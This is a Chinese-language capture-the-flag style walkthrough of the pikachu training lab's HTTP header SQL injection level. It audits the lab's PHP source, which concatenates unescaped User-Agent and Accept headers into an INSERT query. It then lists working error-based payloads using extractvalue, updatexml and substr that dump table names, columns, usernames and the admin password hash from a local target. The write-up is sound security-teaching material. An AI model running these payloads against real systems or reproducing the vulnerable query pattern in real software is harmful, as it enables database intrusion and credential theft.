目录
[二、http header注入](#二、http header注入)
[1、User - Agent 头注入](#1、User - Agent 头注入)
[2、Referer 头注入](#2、Referer 头注入)
[3、Cookie 头注入](#3、Cookie 头注入)
[4、Host 头注入](#4、Host 头注入)
本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对http header注入关卡源码的代码审计找到SQL注入安全风险的真实原因,讲解http header注入的原理并进行渗透实践,本文为SQL注入08之http header注入关卡的渗透部分。

一、SQL注入
SQL注入(SQL Injection)是一种常见的Web安全攻击,攻击者通过在应用程序的输入参数中插入恶意SQL代码,欺骗服务器执行非预期的数据库操作。当程序未对用户输入进行充分过滤,直接将输入拼接到SQL语句中时,攻击者可以构造特殊输入来操纵原始SQL逻辑,导致数据泄露、篡改甚至服务器被控制。SQL注入主要类型以及pikachu靶场相关关卡使用方法如下所示。
-
联合查询注入:通过UNION合并恶意查询(pikachu靶场的第1关到第4关,以及第10关)。
-
报错注入:利用数据库错误信息获取数据(第5关,第6关和第7关)。
-
布尔盲注:根据页面真假响应推断数据(第8关)。
-
时间盲注:通过延时判断注入条件(第10关)。
二、http header注入
HTTP Header 注入是一种 Web 安全攻击技术。攻击者利用应用程序在处理 HTTP 请求头信息时的缺陷,通过构造恶意的 HTTP 请求头数据,改变应用程序的正常行为,从而达到获取敏感信息、执行恶意代码、绕过访问控制等目的。常见的 HTTP 请求头注入点如下所示。
1、User - Agent 头注入
User - Agent头用于标识客户端的类型和版本等信息。若应用程序根据User - Agent头进行不同的处理,且未对其进行验证,攻击者可以构造特殊的User - Agent头来触发异常或执行恶意操作。比如,在一些统计分析系统中,可能会根据User - Agent头统计不同浏览器的访问情况,如果对其不做验证,攻击者可以构造恶意的User - Agent头来干扰统计结果或进行 SQL 注入等攻击。
2、Referer 头注入
Referer头记录了请求的来源页面。部分应用程序会根据Referer头进行访问控制,例如只允许特定域名的页面访问某些资源。攻击者可以通过修改Referer头来绕过这种访问控制。比如,将Referer头修改为允许的域名,从而访问原本受限的资源。
3、Cookie 头注入
Cookie用于在客户端和服务器之间传递用户信息。如果应用程序在处理Cookie时存在SQL注入安全风险,攻击者可以通过注入恶意的Cookie内容来实现会话劫持、跨站脚本攻击(XSS)等。例如,攻击者可以构造包含恶意脚本的Cookie,当用户访问相关页面时,脚本会在用户的浏览器中执行。
4、Host 头注入
Host头指定了请求的目标主机。在一些虚拟主机环境中,应用程序根据Host头来定位不同的网站。攻击者可以通过注入恶意的Host头来进行 DNS 重绑定攻击、缓存污染攻击等。例如,攻击者可以将Host头修改为恶意的域名,诱导用户访问恶意网站。
三、extractvalue函数
extractvalue是MySQL的XML处理函数,但在安全领域却因其独特的报错特性成为SQL注入攻击的重要工具。这个函数原本设计用于从XML字符串中提取数据,却因为不严谨的错误处理机制被攻击者利用来获取数据库敏感信息。extractvalue函数在遇到非法XPath表达式时会返回错误信息,而关键点如下所示。
-
错误信息会包含部分查询内容
-
攻击者通过精心构造的XPath表达式,可以使错误信息中包含他们想获取的数据
例如,假设存在一个简单的 SQL 查询语句 SELECT * FROM users WHERE id = $id,攻击者可以构造如下注入语句:
1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database()),0x7e))
在这个语句中,0x7e 代表波浪线 ~,(SELECT database()) 用于获取当前数据库的名称。当数据库执行这条语句时,由于 CONCAT(0x7e,(SELECT database()),0x7e) 并非有效的 XPath 表达式,EXTRACTVALUE 函数就会报错,错误信息中会包含当前数据库的名称。
四、源码分析
1、代码审计
打开pikachu靶场的SQL注入-报错型关卡对应的源码sqli_header.php,具体如下所示。

这段代码主要实现了登录以及收集并存储 HTTP 头信息并注销的功能,详细注释后的源码如下所示。
<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();
// 调用 check_sqli_login 函数检查用户是否已登录,并获取登录用户的 ID
// 若未登录,$is_login_id 为 false
$is_login_id = check_sqli_login($link);
// 若用户未登录,将用户重定向到登录页面
if (!$is_login_id) {
header("location:sqli_header_login.php");
}
// 以下注释掉的代码原本是对 HTTP 头信息进行转义处理,防止 SQL 注入
// $remoteipadd = escape($link, $_SERVER['REMOTE_ADDR']);
// $useragent = escape($link, $_SERVER['HTTP_USER_AGENT']);
// $httpaccept = escape($link, $_SERVER['HTTP_ACCEPT']);
// $httpreferer = escape($link, $_SERVER['HTTP_REFERER']);
// 直接从 $_SERVER 数组中获取客户端的 IP 地址,未做任何处理
$remoteipadd = $_SERVER['REMOTE_ADDR'];
// 直接从 $_SERVER 数组中获取客户端的用户代理信息,未做任何处理
$useragent = $_SERVER['HTTP_USER_AGENT'];
// 直接从 $_SERVER 数组中获取客户端接受的内容类型信息,未做任何处理
$httpaccept = $_SERVER['HTTP_ACCEPT'];
// 直接从 $_SERVER 数组中获取客户端的远程端口号,未做任何处理
$remoteport = $_SERVER['REMOTE_PORT'];
// 构造 SQL 插入语句,将登录用户的 ID、客户端 IP 地址、用户代理信息、接受的内容类型和远程端口号插入到 httpinfo 表中
// 但这些信息在插入前未进行转义处理,存在 SQL 注入风险
$query = "insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
// 执行上述构造好的 SQL 插入语句
$result = execute($link, $query);
// 检查是否通过 GET 方法传递了 'logout' 参数,并且其值为 1
if (isset($_GET['logout']) && $_GET['logout'] == 1) {
// 删除名为 'ant[uname]' 的 cookie,将其过期时间设置为当前时间减去 3600 秒(即 1 小时前)
setcookie('ant[uname]', '', time() - 3600);
// 删除名为 'ant[pw]' 的 cookie,将其过期时间设置为当前时间减去 3600 秒(即 1 小时前)
setcookie('ant[pw]', '', time() - 3600);
// 将用户重定向到登录页面
header("location:sqli_header_login.php");
}
?>
这段 PHP 代码主要实现了以下功能。
- 登录验证 :调用
check_sqli_login
函数检查用户是否已登录。若未登录,则将用户重定向到登录页面。 - 收集并存储 HTTP 头信息 :从
$_SERVER
数组中直接获取客户端的 IP 地址、用户代理信息、接受的内容类型和远程端口号等 HTTP 头信息,然后将这些信息与登录用户的 ID 一起插入到httpinfo
表中。 - 用户注销功能 :当用户通过 GET 方法传递
logout
参数且值为 1 时,删除用户的登录相关 cookie,并将用户重定向到登录页面。
不过此代码存在SQL注入安全风险,原因在于对从 $_SERVER 数组获取的 HTTP 头信息未进行任何转义或验证处理。代码中注释掉了原本用于转义的代码,直接将这些信息拼接到 SQL 插入语句中。攻击者可以通过构造特殊的 HTTP 头信息,改变 SQL 语句的逻辑,从而实现恶意操作。
2、渗透思路
header方法传参包useragent,httpaccept等均未作过滤,这几个参数均为注入点。
insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')
构造注入命令:' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
如下所示,可以根据注入命令构造闭合,通过报错法注入进行渗透。

切换为extractvalue函数构造注入命令,则如下所示:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
五、渗透实战
1、渗透探测
打开靶场SQL注入第7关header型注入,打开后是登录页面,如下所示。
http://127.0.0.1/pikachu/vul/sqli/sqli_header/sqli_header_login.php

输入用户名admin和密码123456登录,如下所示进入到个人信息的界面。
http://127.0.0.1/pikachu/vul/sqli/sqli_header/sqli_header.php

burpsuite抓包,找到这个修改报文,具体信息如下所示,由于使用header方法传参,故而我们使用bp进行渗透。

探测UserAgent字段, 使用单引号探测,如下所示报错。

探测Accept字段, 使用单引号探测,如下所示报错。

综上,header方法传参包useragent, httpaccept这两处可为注入点,这与源码分析一致。
2、获取数据库名database
' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
此时页面提示报错信息,爆出数据库的名称为"pikachu",具体如下所示。

3、获取表名table
对pikchu数据库中表名进行爆破,注入命令如下所示。
' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e)) or '
渗透后提示输出超过1行报错,故而需要调整语句,使用group_concat来进行注入。

修改注入语句,将table_name变为 group_concat(table_name),如下所示。
不使用substr函数输出被截断的注入命令:
' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '
等于如下使用substr查询1-31位的注入命令
' or extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e)) or '
渗透后获取到数据库pikachu表有4个以上的table表,但是第五个没有展示全,只有一个x字符,其他前四个分别为httpinfo, member,message, users,如下所示。

之所以没有展示全是因为update的报错信息最多展示32个字符,出去第一个字符是报错的波浪线以外,也就是说有效的字符只能显示31个。接下来使用right函数显示从右到左31个字符,具体注入命令如下所示 。
使用substr函数从32位起查询31个字符的注入命令
' or extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e)) or '
点击发送后,展示从右开始31个字符,与上一个图片对比可知最后一个table表为xssblind。

4、获取列名column
对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。
不使用substr函数输出被截断的注入命令:
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) or '
等于如下使用substr查询1-31位的注入命令
' or extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31),0x7e)) or '
渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。


5、获取字段
对pikachu数据库中users表的username列进行爆破,命令如下所示。
' or extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) or '
渗透后获取到数据库users表的username字段如下所示,渗透成功。

接下来获取admin账户的密码,注入命令如下所示但是没有显示完全,如下所示。
不使用substr函数输出被截断的注入命令:
' or extractvalue(1,concat(0x7e,(select group_concat(password) from users where username='admin'),0x7e)) or '
等于如下使用substr查询1-31位的注入命令
' or extractvalue(1,concat(0x7e,substr((select group_concat(password) from users where username='admin'),1,31),0x7e)) or '


我们通过substr函数获取admin账户的密码的第32位开始的31个字符串,注入命令如下所示显示了一个字符e,拼接后即可获取到admin的密码,e10adc3949ba59abbe56e057f20f883e,如下所示。
' or extractvalue(1,concat(0x7e,substr((select group_concat(password) from users where username='admin'),32,31),0x7e)) or '
